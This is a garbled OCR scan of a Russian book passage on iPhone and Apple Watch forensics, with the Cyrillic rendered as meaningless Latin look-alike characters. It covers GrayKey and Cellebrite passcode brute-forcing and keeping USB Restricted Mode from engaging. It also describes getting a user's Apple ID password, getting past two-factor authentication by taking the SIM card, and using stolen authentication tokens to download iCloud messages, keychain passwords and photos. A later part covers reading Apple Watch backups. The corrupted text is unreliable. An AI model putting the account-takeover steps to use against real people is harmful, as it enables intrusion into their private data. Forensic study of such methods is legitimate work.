HUM; a YTOOBI MOHATH, BO3MOKEH JIM nepedop B npuHLiure, Tede mpeasiokaT 3amyCcTiTh
cneuranbHyto yTuiuty. [lpo pewenne Cellebrite uzsectHo Masio: KOMNaHus TIIATENBHO
OXpaHSeT CBOU CEKPETHI.

Jlpyroe peuenne Ha3biBaetcst GrayKey — ero paspaborana komnanus Grayshift. Pewe-
HME TOCTABIIAETCS MPABOOXPAHUTEIbHBIM OPraHaM U HEKOTOPBIM APYTMM OpraHU3aLusIM,
KOTOpPBIE MOTYT CaMOCTOSTEJIbHO 3aHUMaThes nepebopom naponei. [lpo GrayKey nam
W3BECTHO OoJbLIe.

Pemenuie Grayshift He nonb3yercs pexxumom DFU (MmeHHO uyepes Hero yaanoch B3jo-
MaTh CTapbie aii()OHbl) U 3arpyKaeT areHT B pexume cuctemsl. [lepeGop MoxkHO 3amyc-
THTh KaK Ha yCTPO#cTBaX, KOTOpble OblIM pa3dOKMPOBaHbl XOTs Obl pa3 rocje BKIoue-
HUsI WK Tiepe3arpy3kH, Tak M Ha «XOJIOJHBIX» YCTPOHUCTBAX, KOTOpPbIE ObLIM TOJIBKO YTO
BKJTFOUeHBI. [Tpu 3TOM cKopocTh nepebopa OT/IMYaeTCst Jake HE B pa3bl — Ha MOPSAKH.

Tak, qis ycTpoicTBa, KOTOpoe Oblio XOTd Obl pa3 paz0JOKMPOBAHO MOC/E 3arpy3KH,
NOJHBIN MepeGop Beex naposiell U3 HeThipex uudp Bo3MorkeH 3a 30 MUHYT, HO IS 3TOrO
JKE€ YCTPOMCTBA, €C/IM OHO ObUIO TOJILKO YTO BKJIIOUEHO, aTaka Ha YeTbIPEeX3HAaUYHbIH KO
Oynet muthes 10 70 AHEH, a Mpo B3JOM LIECTH3HAYHBIX LUM(POBLIX naposei 6e3 kaue-
CTBEHHOTO CJIOBApsi MOKHO 3a0bITh: MOJHbIN nepebop 3aiimMer aecsiTuietus (yCTpoMCT-
BOM [Ia€TCs JIMIIb OJiHA TIOMbITKA Kaxcable aeciTb MUHYT). [IpaBna, ¢ miecTu3HauHBIMU
KOJAMH €CTb TOHKOCTL: rocjie 300 Thicsiu MOMbITOK CKOpPOCTh nepebopa pe3ko najaer
YCTPOHCTBO MEPEXOUT B PEKUM MeJIJIEHHOro nepedopa.

3BYUYMT HEMIOXO (WJIM TUIOXO, B 3aBUCUMOCTH OT TOUKHM 3peHMs). YBbI, HO «OBICTpPBII»
nepebop Bo3MoskeH Juib i Bepeuit 10S 10 11.3.1 BrmountensHo. Eciu noab3osarens
X0Tst Obl pa3 oOHOBIsN cBoit iPhone nocne 29 mas 2018 roaa, To Ha ycrpoiicTBe OyneT
pabotatsb iOS 11.4 unu Gonee HoBas. Tam «ObicTpblity nepeGop npu nomouu GrayKey
HeBo3moxkeH. JIng i0OS 11.4 u Gonee HOBBIX BepcHii ckopocTh nepedopa GrayKey orpa-
HUYEHA OJJHUM MapoJieM B JIeCSTh MUHYT. DTO O3HAUYaeT, YTO YCTPOMCTBO C ILECTU3HAY-
HbIM LIMGPOBBIM KOIOM OJIOKMPOBKH (a coBpeMeHHble BepcuH 10S MMEHHO TakoW Koj
MpeUiaraloT YyCTaHOBUTD 110 YMOJTYaHHIO) B3JIOMATh Oy/ET MPaKTHUECKH HEBO3MOKHO.

Pexxum USB Restricted Mode

OG6 3TOM pekuMe yKe HeOJHOKPAaTHO MUCAIHW, B TOM YMC/Ie W Ha CTpaHWLAX KypHaia
«Xakep». Hauunas ¢ iOS 11.4.1 ycrpoiictBa iPhone u iPad nosHocTbio 6510kHpYIOT 06-
MeH IaHHbIMU 1o npotokoay USB crycTs oaMH yac rnocjie Toro, kak yCTpOHCTBO ObIIO
pa30I0KHPOBAHO WM OTKJIIOUEHO OT akceccyapa. Ckopee BCero., 3TOT pexKuM ObLT BBEIEH
¢ uesnbto npotuBoeicTeus kommiekcam GrayKey u Cellebrite, koTopeie mo3BosstoT no-
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no0paTh KOJ OJIOKHPOBKH YCTPOMCTBA IPH MOMOIIM HEM3BEeCTHOro Apple skcmiouTa.
Pexxum okazascs noctatouHo 3()(EeKTUBHBIM: YCTPOMCTBA ¢ 3a0JIOKMPOBAHHBIM TIOPTOM
HEBO3MOXKHO MOAKIOYUTHL K COOTBETCTBYIOILLEH cHUcTeMe, W nepebop He 3amyckaercs
(puc. 14.4).

sl MegaFon 7

11:06

Saturday, June 2

(@) usB ACCESSORY ,
§ Unlock iPhone to use accessories

Puc. 14.4. Tak BbIrnaguT akpaH iPhone, ecnn nonpo6oBaTh NOAKMIOYUTL ETO K KOMMNBLIOTEPY UNKU akceccyapy
cnycTa yac nocne GrIOKMPOBKIA 3KpaHa UM OTKNIOYEHUS OT KOMMbIOTEpPa UM akceccyapa

MoxxHo 1 06oiiTH peskum 3aiuTel USB? Bo-nepBbix, [U1s aKTHBALIMY MepeJadd JaHHbIX
JIOCTAaTOYHO pa30I0KHUpoBaTh TenaedOH, HarpuMep NpU MOMOLIM OTneyaTka naabua (Ko-
TOpBIii, B CBOIO OYepeib, TO’KE He BeueH — CM. BbIllie). Bo-BTOpbIX, cpabaTeiBaHHE Orpa-
HUYEHHST MOXKHO MPEeA0TBPaTHTh, MOAKIIOUYMB TeaeOH A0 UCTEYeHMs yaca C MOMEHTa
nociegHel OJOKUPOBKM K COBMECTUMOMY akceccyapy (roastcs He Bce!) gaxe B 3abiio-
KUPOBAaHHOM COCTOSIHUH.

HnbiMu cioBamM, Npu KOHGHMCKALMK YCTPOHCTB COTPYIHHUKY MOJMLMM NPUAETCS He
TOJIBKO I0JI0KUTH TesiehoH B kieTky Dapanes, HO W MOAKIIOYHUTL €ro K COBMECTUMOMY
akceccyapy (croaures, K npumepy, odhuunanbHbii nepexoquuk Apple ¢ Lightning Ha
USB 3 ¢ ponoaHuTesbHbIM MOPTOM € MOAAepKKOM 3apsaku). Eciu 3Toro He caenare, To
BCEro uepe3 uyac tese)oH reperier B 3aLMTHBIA PEKUM W 3alyCTUTh nepebop KomoB
OJIOKUPOBKH HE y/1acTes.

besonacHocTh — HeckoH4aemasi roHka. B Apple 3HatOT 0 BO3MOKHOCTH OOOWTH 3allMT-
Hbli pexkum USB 1 pazpabarbiBatoT TEXHOJIOTHIO, KOTOpast OyaeT 6J10KMpoBaTh nepeaady
JaHHBIX MIHOBEHHO mociie OJIOKMpOBKH ycTpoiicTBa. Eciu 3Ta BO3MOMKHOCTH BOWAET
B cocTaB ouepenHoil cbopku i0S (a 310 He ¢akT), TO neperaya JaHHbIX MO0 MPOTOKOIY
USB Oyner aBromMaThuecku IeakTUBHpOBaHa cpasy rnociie OJOKMPOBKH 3KpaHa yCTpOi-
CTBa — MOJKIIIOYATh TeslehOH K aKceccyapam MM KOMITbIOTEpY NMpuAeTcs B pa30IoKH-
POBAaHHOM COCTOSIHUH.

Pagu yno6ceTtBa nosib3oBatens c/efaHbl UCKIIIOYEHHS [UTS MEPEeXOJHUKA Ha ayAMOpa3beM
(BmpoueMm, ero nojAkKIIOUeHHe HUKaK He BiuseT Ha cpabatsiBanue USB Restricted Mode)
U [UI4 3apsiIKK OT OOBIYHBIX 3aPIHBIX YCTPOMCTB — HO HE OT KOMIBIOTEPHOTO MOpTa.
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Yto maenartb, ecnu TenedoH 3abnokMposaH, cnoMmaH
WNU ero BOBCE HeT

Kak MO>HO M3BJIe4b JaHHble U3 3a0JI0KMPOBAHHOTO MM CIOMaHHOro yctpoiicta? [1pu-
MEpPHO TaK e, KaK U U3 YCTPOMCTBa, KOTOPOro HeT coceM: uepes obnako iCloud. ITonu-
LM [PH HAJIMYUKA COOTBETCTBYIOIIETO MOCTAHOBJIEHHS MOXKET 3anpocuth y Apple Bce
JaHHbIE M3 YYETHOM 3allkCH MOJIb30BaTeNs, BKJIIOYas 00JauHble pe3epBHbIe KonuH. Jlis
BCEX MPOYMX JOCTYIeH Apyro# crnocob: npu nomoru Apple ID u napons noab3osarens.

Ortkyna B3sate Apple ID u mapons? MoxHo, k npumepy, 3anyctuth Elcomsoft Internet
Password Breaker Ha KOMIIbIOTEpE TMOJb30BATENsl U IIOCMOTPETh, HE HaiaeTcs JiM Tam
napoib ot Apple ID win iCloud (oH Gyzaer onnum u Tem xe). Minu nonpoGosats cOpo-
cuth yepe3 nouty. OGOITH ABYX(haKTOPHYIO ayTeHTH(HUKALIMIO, €CIIM OHA aKTMBUPOBAHa,
MOJKHO, nosryuuB SMS Ha SIM-kapTy, u3BieueHHyto u3 Toro e iPhone.

HakoHel, MOXHO IMOMCKATh Ha KOMIBIOTEPE MOJIb30BATElIsl TaK Ha3blBAEMbli Mapkep
ayTeHTU()UKALIMKM, KOTOPBI 1Mo3BoaMT aBTopu3oBathes B iCloud Ge3 noruna, mapons u
BTOpHYHOTO (hakTopa ayTeHTH(HKalMu. Pazymeercs, kak Mapkep ayTeHTH(UKALMH, TaK
u napoib oT Apple ID wiu iCloud MoxeT HalTUCh He B Ka)I0M citydae, 1a 1 SIM-kapra
MOKET ObITh 3almineHa coocTtBeHHbIM PIN-komoM, HO eciin Tebe yaanock 00OWTH 3TH
NpENnATCTBUS, TO MPH TOMOLIM CrelMaTu3upoBaHHoro copra (Hanpumep, Elcomsoft
Phone Breaker) Tbl cMOXeLIb CKauaTh Cli€yIOLIME BELLU:

O obnauHble pe3epBHbIE KOMUH (A0 ABYX JUIS KaKI0r0 YCTPONCTBA B YYETHOM 3aMUCH);

0 CHUHXpPOHM3MPOBaHHBIE NaHHbIE. 3/1€Chb — pa3/lojibe: M CIUCOK OTKPBITHIX B Safari
CTPaHHUIL C UCTOPHEH MOCEIEHUH, U KaJIeHAapy, U 3aMETKH, U KOHTAKThbI, U 1aKe JKyp-
HaJl 3BOHKOB M BCE TEKCTOBBIE COOOIIEHHUs, BKIto4as iMessage (u1s iMessage, npas-
na, norpebyeTcss Kak Mapojib, Tak M KoJ OJOKMPOBKM OJHOrO M3 JOBEPEHHBIX
yCTpOMCTB nosb3oBarens). Eciu y nonp3oBatens ectb Mac, To MOryT HaTHCh U (aii-
JIbl, CHHXPOHW3UPOBAHHbIE C KOMIIBIOTEPA, M JaKe JEMOHUPOBAHHBIN KJIIOY VIS pac-
wndpoku paszaena FileVault 2;

O ecnu BaroyeHa iCloud Photo Library — to u gororpaduu;

O ecau BmoyeH iCloud Keychain, To 1 maponu monb3oBartesis OT pa3HbIX OHJIAHHOBBIX
pecypcoB. Jlis 3Toro norpedyercs BBECTH KOA OJOKHPOBKHM OJHOTO M3 JOBEPEHHBIX
YCTPOMCTB MONb30BaTES.

3akn4yeHue

Ecnu Thl MpOYWTAT 3TOT paszes, BEPOSTHO, Thl YK€ JOrajaics, MOXKHO JIM B3JIOMaTh
iPhone 3a eBATH MHHYT MPH MOMOLLM «MAarH4ecKOro Kyba» WiM crelHaln3upoBaHHOTO
6e3bIMIHHOTO KOMIIIEeKca /Ul B3JIoMa MOOMIIBHBIX YCTPOHCTB. Jla, MOKHO — eciH Teste-
¢oH paboraer nox ympasineHuem iOS 10-11.2.1 (T.e. He momyumsn OOHOBIEHHE 10
i0S 11.2, Beimenuee 2 nexabpst 2017 roga) u Obu1 mo0e3Ho pa3bI0KUpOBaH Moao3pe-
BaeMbIM, He 3alIMIIeH KOJIOM OJIOKMPOBKH WIIK KOJ1 OJTOKUPOBKH M3BECTEH.
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Ecnu nons3oBatens X0Th pa3 0OHOBHI ycTpoicTBO nocie 2 aekabps 2017 roga — marus
He cpaboraet. Ecnu TeneoH 3a610KHpOBaH HEU3BECTHBIM MapojieM — Marus He cpabo-
TaeT, KoI OJIOKUPOBKM TIPUIAETCS B3JIaMbiBaTh OTHENbHbIM pemieHueM GrayKey wunu
Cellebrite (koTopoe, kcTaTH, B Cliy4ae ycrexa CaMOCTOSITENIBHO H3BJIEUET BCE JAHHBIE).
Ecnu xe tenedon 3abmokupoBaH u paboraet nox ynpasnenuem iOS ot 11.4.1, a ¢ Mo-
MEHTa TocjefHed pa30IOKMPOBKM WIM MOAKIIOYEHMS K akceccyapy npouuio Gosblue
Yaca, TO He MOMOTYT U 3TH CEPBHCHI.

A uto oxupaetcs B Ommkaimem Oyayuiem? Yoke Boiinia i0S 13, Ha koTopyro, ckopee
BCEro, MepeiayT NpakTHYecKH Bce noib3oBareny iOS. B yacTHOCTH, MaccOBbIM nepexon

Ha i0S crapme 12 o3Hauaer M MaccoBoe pacrpocTpaHeHue pexkuma USB Restricted
Mode.

Jns i0S 12 yxe cyuiecTByeT BO3MOXHOCTh mkeinOpeiika. g iOS 13 ys3Bumocrteit
MOKa YTO He OOHapy»EHO, HO BEPOSTHOCTh, YTO WX HAWIYT, SKCHEPThl OLEHUBAIOT, KaK
BBICOKY10. BO3MOXHO, Ha MOMEHT, KOT/Ia 3Ta KHUra MOCTYNHT B MPOAAXY, JKeHnopeik
iOS 13 craHeT BO3MOKHBIM.
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15. U3Bnekaem n aHanusunpyem
AaHHble Apple Watch

Onez A¢poHUH

Apple Watch — oziHa M3 cambIX MOMYJISAPHBIX B MUPE MAapoK yMHbIX 4acoB. [lTocnennss
MX BEPCHs OCHAILleHa MOJIHBIM HA0OPOM JaTYMKOB M MPOLECCOPOM, MOLIHOCTh KOTOPOro
NPeBOCXOAMT OrO/KeTHbIE (M JaXke He O4yeHb Oro/LKeTHblE) Mozaenu cMaptdonos. Ilpu
nomoinu yacoB Apple cobupaeT orpoMHbie MaCCHBBI JaHHBIX. YTO MPOUCXOAMT C ITUMHU
JIAHHBIMH, IJI€ OHU XpaHATCs U Kak UX u3Bieus? [lonpobyem pazoOpaTbes.

3a nocieiHUe HECKOJIbKO JIeT MOMYJISIPHOCTb Pa3HOOOPa3HbIX TPEKEPOB M YMHBIX YacoOB
3Ha4YMTeNIbHO Bo3pocna. B 2018 roxy Obw1 npoaan 141 MWUIMOH yMHBIX 4acoB, YTO MOY-
TH BJIBO€ MPEBBILIAET Pe3ysbTaT npeapiayuero roga. Cpeau Bcero pasHoodpasust Moje-
nei Beigensercs nuvHeiika Apple Watch, nponaxu kortopeix B 2018 romy cocrtaBuiu
22,5 MWUTHOHA €IMHHULL. YK€ HECKOJbKO JIeT CymMMapHas 1075 Bcex mozened Apple
Watch suiiib HeMHOTO He JOTSTHMBAET 10 MOJOBHHBI Ha IN100aJIbHOM PbIHKE.

[MepBas Bepcus uaco Apple Watch Obuia Beimymena B 2015 roay. B cinenyrowem rogy
Ha 3aMeHy MepBOMY MMOKOJICHHIO 4YacoB MPULIIO MoKojieHue Series 1, KOTOpoe BbILILIO
OTHOBpeMEHHO ¢ Bepcueit Series 2. Ha ceroaHsiiHuiA 1eHb akTyaabHas MOJeIb — 4YeT-
BepTas (no dakry nsras) Bepcus Apple Watch 4. Bce Bepcun uacos ot Apple pabortaror
NoJ| yrnpaBJieHHeM CrelHaIi3MpOBaHHOM onepannoHHoi cucteMmbl WatchOS, koa koto-
poii, B CBOIO O4epe/ib, OCHOBaH Ha MOOMIIbHOM cucteme 10S.

Ota craTtba HanucaHa B coaBTopcTBe ¢ MaTtTna 3nudanu. MaTtTua — ocHoBaTenb uUTans-
sAiHckon komnanum REALITY NET, kOHCynbTaHT B chepe umMdpoBOA KPUMUHANUCTUKL U MO-
ObunbHon 6e3onacHocTn, WHCTpykTOop KypcoB SANS wu coaBtop kHuru Learning iOS
Forensics.

NMouyemy Apple Watch?

B omiinume oT noapoOHO uccnenoBaHHbIX cMapTdoHoB iPhone u apyrux ycrpoiicts, pa-
GoTaroIKUX MoJ yrpasieHHeM onepaloHHoi cuctembl i0S, yacsl Apple Watch 3aunTe-
pecoBasi auiIb HeboublIoe Yucio 3kenepToB. IlepBoit paboToil, onuckiBatoLLe# CTpyK-
Typy AaHHbIX Apple Watch, crana nmyGnukauus Xwuszep Maxanuk (Heather Mahalik)
u Capbl Dasapac (Sarah Edwards), onmyGaukoBannas B 2015 roxy (https://github.com/
mac4n6/Presentations/blob/master/Apple%20Watch%20-%20Times%20a' %20



O—— 165 —0O

Tickin'/Apple_Watch_Times a Tickin.pdf). C Tex nop cpaBHMUMBIX 10 MaciTady Hc-
cleJ0BaHUi yacoB oT Apple He MPOBOAUIIOCE.

[Mocnennue Bepcuu vacoB Apple Watch ochaierbl OOJBIIMM YKCIOM pa3HOOOPa3HBIX
JaTYUKOB. 371eCh M JaTYMK aTMOC(epHOro AaBieHHs, W IUIAaroMep, U AaTYUK MyJIbCa,
W YyBCTBHUTE/IbHbIE MHEPIMOHHbBIE JAaTUYMKH, W IaTYMK MArHUTHOTO TIOJISi, ¥ TMOJHOLIEH-
HBIN YMIICceT /s onpezesienus koopauHar no crytHukam GPS, GLONASS u Galileo, u
Jlake MaTYMK Ul CHSTHS DJIeKTpoKapAuorpaMM. MHOrMe W3 3THX JaTYUMKOB paboTaroT
MOCTOSIHHO, HO HEKOTOpbIE BKJIIOYAIOTCS JIMIIbL nepuoauuecku. [Ipumep — natumk s
orpezesieH!ss MeCTOMOJIOKEHH s, KOTOPbI aKTUBUPYETCS JIMIIb B T€ MOMEHTBI, KOrJa
WatchOS cuutaer, 4To Thi BbIlIE] Ha TIPOOEIKKY.

C y4eToM TOro uTo Yachl 00opyaoBaHbl 8§ ['0aiiT BCTpOEHHOH MaMsATH, JOTHYHO ObUIO ObI
OKMAATh, YTO MO KpaiiHel Mepe 4acTb cOOpaHHbIX JaHHBIX cOoxpaHseTcs B dacaX. Yacel
BEIYT MOJHOLIEHHBIE JIOTH, (JOopMaT KOTOPBIX COBMaAaeT ¢ (popMaTOM aHAJOTMYHBIX JIO-
roB iPhone. Kpome Toro, Ha yacax MoryT ObITh MHOrOYMCIIEHHbIE LU(epOaaThl, HA HUX
MOYKHO yCTaHABIUBATh MPUIOKEHHS (B TOM YKCIIe CTOPOHHHKE, U3 Mara3suHa), CHHXPOHH-
3upoBath ¢otorpaduu. Yacel noiyyaroT yBeAOMIICHHUs ¢ TeaedoHa, MpUYeM B HUX MO-
KET coleprKaTbesi yacTh cooOueHus. C 4acoB MOJKHO CITyLIaTh MY3bIKY, 3apETMCTPHPO-
BaTbCS Ha peic W MPOWTH MOCaJOYHbIM KOHTPOJIb MPU MOMOLIM MOCAZO4YHOrO TajJOHa
B Buae QR-koma. Yacamu MOKHO orlaumBaTh MOKyrnkd. Ha vacax pabortaeTr ronocopoit
nomotuHuk Siri. Ecnu ske peub uaet o Bepcuu yacoB ¢ LTE, To ¢ yacoB MOKHO M MO3BO-
HUTb. MHbIMK crioBamu, yackl Apple Watch ymeroT nesiaTb MHOrO€ M3 TOTO, YTO MOXKET
aenatb U 00bluHbIN cMapThoH. ECTh i1 BO3MOKHOCTB 100paThCs 10 BCEX 3THX AaHHBIX?

MHdopmaLmio U3 4acoB MOKHO H3BII€Ub TPeMs pa3HbIMU cnocobamu. Bo-nepseix, us-
BJIeUb pe3epBHyI0 konuio Apple Watch u3 nokanbHOH MM 00/1a4HOI pe3epBHON KOMUM
NOAKJIIOUEHHOro K uacam iPhone. Bo-BTOpbIX, Hachkl MOXHO MNOJK/IIOYMTL HANpIMYyIO
K KOMMbIOTEPY, UCIOJIb3YS MEPEXOTHUK, MOC/IE YEero W3Bjiedb JaHHbIE METOIOM JIoruye-
cKoro ananusa. Hakowel, HEKOTOpbIe JaHHbIE BO3MOXKHO AocTaTh M3 obnaka iCloud
(B mepByIo ouepe/ib pevb HIET O JAaHHBIX «30POBbs» MOJIb30BaATENsl, KOTOPbIE COOMPAIOT
Yachbl).

Kaxkapiit u3 3THX croco0oB BO3BpalllaeT CBOM COOCTBEHHBIH HAOOp JaHHBIX, OTJIMYHBIA
OT TOr0, KOTOPBIW MOKHO TOJyUHTh APYTMMH crioco0amu. JlaHHbIe 4aCTMYHO NepeceKa-
IOTCSI, HO MBI PEKOMEHIYEM IO BO3MOYKHOCTH HMCIOJIb30BaTh BCE TPH crocoba uis Mak-
CUMAaJIbHO MOJIHOTO U3BJIEYEHHS.

AHanu3s pesepsHou konum iPhone

Yacei Apple Watch He3aBHcHMO OT MOKOJIieHHs anmapaTHOW miIaTGoOpMbl M BEPCHH
WatchOS 00nafatoT BO3MOXKHOCTBIO CO3/1aBaTh Pe3€PBHYIO KOMHIO JaHHbIX. TeM He Me-
Hee, WatchOS He 1o3BoJisieT UCIoJIb30BaTh CEPBUC 11 CO3/1aHUs PE3ePBHBIX KOMUH HU
CTOPOHHMM MNPWJIOKEHUsIM, HU Jaxe nporpamme iTunes. PesepBHble KOMUM 4acoB CO3-
JAK0TCs TOJIbKO M UCKITIOYUTENBHO B TMOK/IOUYEHHOM K yacaMm cMapTdoHe iPhone.

CornacHo nokymenTanmu Apple, conepkumoe Apple Watch aBTomarnuecku konupyercs
Ha comnpsbkeHHOe ycTpoicTBO iPhone, utoObl nanHbie Apple Watch mosxHO ObL10 BoccTa-
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HOBUTb M3 3TOH pe3epBHOl komuu. K coxalleHMto, HaM HEM3BECTEH CHocob, KOTOPBIM
MOXHO ObL1O Obl (hOopcHpoBaTh CO3aHUE CBEXEH pezepBHOW konuu yacoB B iPhone, 3a
MCKJIIOUYEHHEM OJIHOTO: OTCOeIHHUTh uackl oT iPhone, paszopsaB mapy. B cratee Apple
«PesepBHoe komupoBanue naaHHbIX Apple Watch» (https://support.apple.com/ru-
ru/HT204518) nogpoOHO omucaHo, YTO BXOAWT, a YUTO HE BXOJMT B COCTAB PE3ePBHBIX
KOIHH yacos.

Bot uro BKIItOYaeT pe3epBHas konus JaHHeIx Apple Watch:

O naHHble (U1 BCTPOEHHBIX MPOrpaMM) U HACTPOMKHU (AJ1s1 BCTPOEHHBIX U CTOPOHHUX
nporpamm);

pacrosioKeH’e MporpaMm Ha 3kpaHe «Jlomoii» 1 HacTpoiiku uudepbnara;

HacTpoiiku naHenu Dock v OCHOBHBIE CHCTEMHBIE HACTPOKH;

MEIMUMHCKHUE JaHHbIe M JaHHble O GH3UYECKON aKTUBHOCTH;

HACTPOMKH yBEIOMIICHHIA;

aoaaaa

TIEH-IUCTBI, albOOMBI M MUKCBI, CHHXpOHU3UpyeMblie Ha Apple Watch, u HacTpoiiku
MY3BIKH;

a

HacTpoiiku mnapamerpa Siri «Ayaunoot3wiB» mis Apple Watch Series 3 unmm Gonee
MO3HUX MOJEJIEH;

O cUHXpOHU3MPOBaHHBIN GoToanbEOOM;

0O uacoBoii nosc.

BoT 4T0 He BXOOUT B pe3epBHYIO Komuio 1aHHbIX Apple Watch:
O 3anucu conpspbkenus Bluetooth;

O naHHble KpeAUTHBIX WK 1e0eToBbIX KapT A ruiatexxeit Apple Pay, coxpaHeHHbie Ha
Apple Watch;

O koa-naposs k yacam Apple Watch.

Takum o6pa3om, pesepBHyto konuto yacoB Apple Watch moxHo u3Bneus us iPhone. Ca-
MBI MPOCTO# crmocod 3TO cenarb — CO3/aTh JIOKATbHYIO WK 00MauHyIO pe3epBHYIO
kornvto iPhone, nocie yero npoaHanM3upoBaTh ee coxepikumMoe. Mbl He Gy/ieM MoapoOHO
OCTaHaBJIMBATBCS HA MPOLEAYPE CO3JaHHUs PE3ePBHBIX KOMUM (OHM MHOTOKPATHO OIHCHI-
BaJMCh B MHTepHeTe); OTMETHM TOJIBKO, YTO Ul CO3JIaHMS CBEKEH Pe3epBHOM KOMUM
MO>KHO MCIOJb30BaTh iTunes WM OJHY U3 CTOPOHHMX MPOrpamMM, HO Mbl BOCIIOJIb30Ba-
muck yrunuror Elcomsoft iOS Forensic Toolkit, cTpanuiia pazpaboTunkoB KoTopoit pac-
nosioxeHa no agpecy https://www.elcomsoft.com/eift.html (oHa >xe npuroaurcs mossxe
M /U1 M3BJICYEHHUS] NaHHBIX M3 YacoB, MOJAKIIOYEHHBIX K KOMIbBIOTEPY Yepe3 Mepexos-
HHK).

Urak, pesepBHas konus iPhone cozgana, ocranoch HalUTH B Hel Pe3epPBHYIO KOITHIO YacoB
Apple Watch. Jlna storo ™Mbl Bocrmonb3yemcs JByms ytunutamu: iBackupBot
(https://www.icopybot.com/itunes-backup-manager.htm, noctynHa mis Windows u
MacOS) u SQLite Expert nns Windows (http://www.sqliteexpert.com/).

Haunewm ¢ ananmsa crneundukauumii ycrpoiicta. it 3TOro 0TKpoem pe3epBHYIO KOMHUIO
iPhone B npunoxxennn iBackupBot.
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B nmanke \HomeDomain\Library\DeviceRegistry.state HaxonsTcs cienytouine ¢aibl
(puc. 15.1):

O historySecureProperties.plist;
O stateMachine-.PLIST;

O activestatemachine.plist;

O history.plist.

B daiine historySecureProperties.plist xpaHuTcs cepuifHblii HOMEp 4acoB, yHUKAIbHbIH
unentudpukarop UDID (UniqueDeviceldentifier), MAC-agpeca apantepoB Wi-Fi u
Bluetooth noaxmoueHHsIx k Tenedony yacos Apple Watch (puc. 15.2).

% iBackupBot for iPad iPhane . T
File View Settings Help

Se M TXKROEY R

| e ;e : .'
1§ EpiphoneX (12/31/18 1431:34) e P . Y
il Ster Fies Backward 51 Gpen Delete | Bpot  lmpor | Restore
& i ComeraRoliDomain Name Sce Pemmission  Date Modified Date Created
4 DutabsseDomain ) ClasshBile.tt B s TUOAT AR 1417 11:47:30
ol :" m‘"" e | L) UDIDChangeTracker.pist 272 pwereres 08727718 14:48:13
& ‘:?‘;Tim;'“" 3 activeStateMachine.plist 1348 srrses
(v Accessibility | et o i‘é :: ]
i iz Accounts . - Tl &
G AddressBaok 5] 24620D1C -6016-4375-87E8-T198DTFOC719.phst 1848 09/15/18 08:51:20 08/15/18 09651
iy Applcation Suppon ) stateMachine-2462001C-5016-4378-B7EQ- TIS6DTROCT 18 plist 136 - 081518 0951:20 09/15/18.0851:20
iy Avatar
{2 BulletinBoard
 Calendar

iy CaliHistoryDB
&y CaliHistoryTransactions
i ControlCenter
% Cookies
% v Dataiccess
¥ {2 DeviceRagistry
i DeviceRegintry state
i+ {2 DoNotDisturb

L R ; e e
m;}xmmmm Phane L i L fm-higekc;zdz.:s;kaed §rx= Z:AhB. . W
Puc. 15.1. PesepsHas konus iPhone B nporpamme iBackupBot
HomeDomain/Lilirary/ DeviceRegistry. state/ history P ies. plist X

H: A8h 90 pady @
AML View List View

Key Type Value
& dict -~
i dict
i dict
@ dict
= 5 dict
3 dict
® digt
i dict
i dict
£ digt
th dict
® dict
dict -
sting -
string ' i 8
string | MAC-agpec anantepa WiFi
string '
g o0isL.a8 124507 | MAC-anpec BT
string GISXEEF2I5%4 | Cepwinu
- string 229fbea1643728¢e72f820abd2 1 cf5e854242341 L | F
@ gict . | UDID
B dict | !
Sarchiver string NSKeyedArchiver B
“ Stop dict o

o

Puc. 15.2. [laHHble yacoB B ¢aine pe3epsHON Konun
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®aiin stateMachine-<GUID>.plist xpanut uHdopmauuio o conpsbkenud ¢ iPhone
(o6b1uHO 3HaueHue PairSuccess), Bepcuto ornepaunoHHoi cuctembl WatchOS u Bpems
conpsokeHuss ¢ TeneoHoM (3anvcadHoe B ¢opmare Apple Cocoa Core Data,
https://www.epochconverter.com/coredata, puc. 15.3).

®aiin activestatemachine.plist cogepxut uHdpopmaumio, NoJOOHYIO TOM, UTO B (hailie
stateMachine-<GUID>.plist, ToibkO OHa J0mNOJHEeHa AaHHbBIMM O Bepcuu WatchOS,
YCTaHOBJIEHHOM Ha YacaX B MOMEHT CO3/1aHHs pe3epBHOi konuu (puc. 15.4).

HomeDomain/Library/Ds Regi /s M, -2462001C-6016-4378-B7E9-7158D7FOC 718, plist X
il XKME 9o pndy @
XML View List View
Key Type Walue
= Reot dict -
Sversion integer 190000
- Sobjects array
string Soull
& dict
dict
string finalizePairing
& dict
& dict
string £5647CER
i dict S
string pa i HatHbie 0 conprkeHuu
o dict e CORHS RS I
string e Bepcus OC, yeTaHoBneHHan Ha
string PBBuddyControlierFinishe MOMEHT CONPSKEHUs
dict xee -
Nstime res [sseoszrzssm]. Timestamp spemers conp »
@ Sclass :-ct T B dhopmare Apple Cocoa Core Data
# ict
pe Gt 0 . e e e
P dict
Sarchiver string NSKeyedarchiver
i Stop dict SR

Puc. 15.3. Coagepxumoe caina stateMachine-<GUID>.plist

HomeDomain/Library/DeviceRegistry.state/activeStateMachine.plist X
WX D 90 8y
XML View  List View
Key Type Yalue
-~
$version integer 100000
i -Sobjects aray
string Sl
) dict
@ dict
string paired
g diet
L dict
stiing BAB47CER
@ dict — - S
string S i [|AHMBIE O CONPSUKEHUA
string T} i et e
string ITITERD ' S 3 Bepcun WatchOS, ycranosnentan Ha!
& dict | MOMEHT CONPSDKEHUS i
g - e ——
string PBBuddyControllerfinishe ~ ¥ AxtyansHas Bepcus WatchOS,
dict | YCTAHOBNEHHAA Ha YCTPOWCTBE
NStime real 538690321.293583 ]
@ Sclass dict i
@ dict s, LT P BPEMEHH C( i
- ::.;t ¥ & hopmare Apple Cocoa Core Data |
i i . i .

Puc. 15.4. Cogepxumoe chaina activestatemachine.plist. B nanke \HomeDomain\Library\DeviceRegistry
NexXuT AnpekTopus, nmsa kotopoit skntovaeT GUID us daiina stateMachine-<GUID> plist:
MMEHHO B 3TON ANPEKTOPUN XPAHATCA AaHHbIE U3 pe3epBHoit konun Apple Watch (puc. 15.5).
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R iBackupBot for iPad iPhone - o X
File View Settings Help

f;Oﬂ € O £ %

< HomeDomain
L Library
4 & Accessibility Name Sze Pemussion  Date Modified Date Created
¥ & Accounts L 2462001C-6016-4378-87E9- 71980 7FOCTIE 28MB  drwrerx 113718 02 1947 03/15/18 05:42:43
(s AddressBook
3 v Apphcation Support
3 Avatar
s BulletinBoerd
Ly Calendar
. CaliHistory08
i CaliHistory Transactions
& ControiCenter
7 Cookies
+ . DataAccess
- B
~  2462001C-6016-4378-B7ES-T1S8DTFOCTIR
" Addres:Book
+ i3 BulletnDistributor
+ 2 Corelocation
i3 BeentkitSync
+ i NanoAppRegustry
s NenoMad
+ i NenoPasses

= % .i - Q
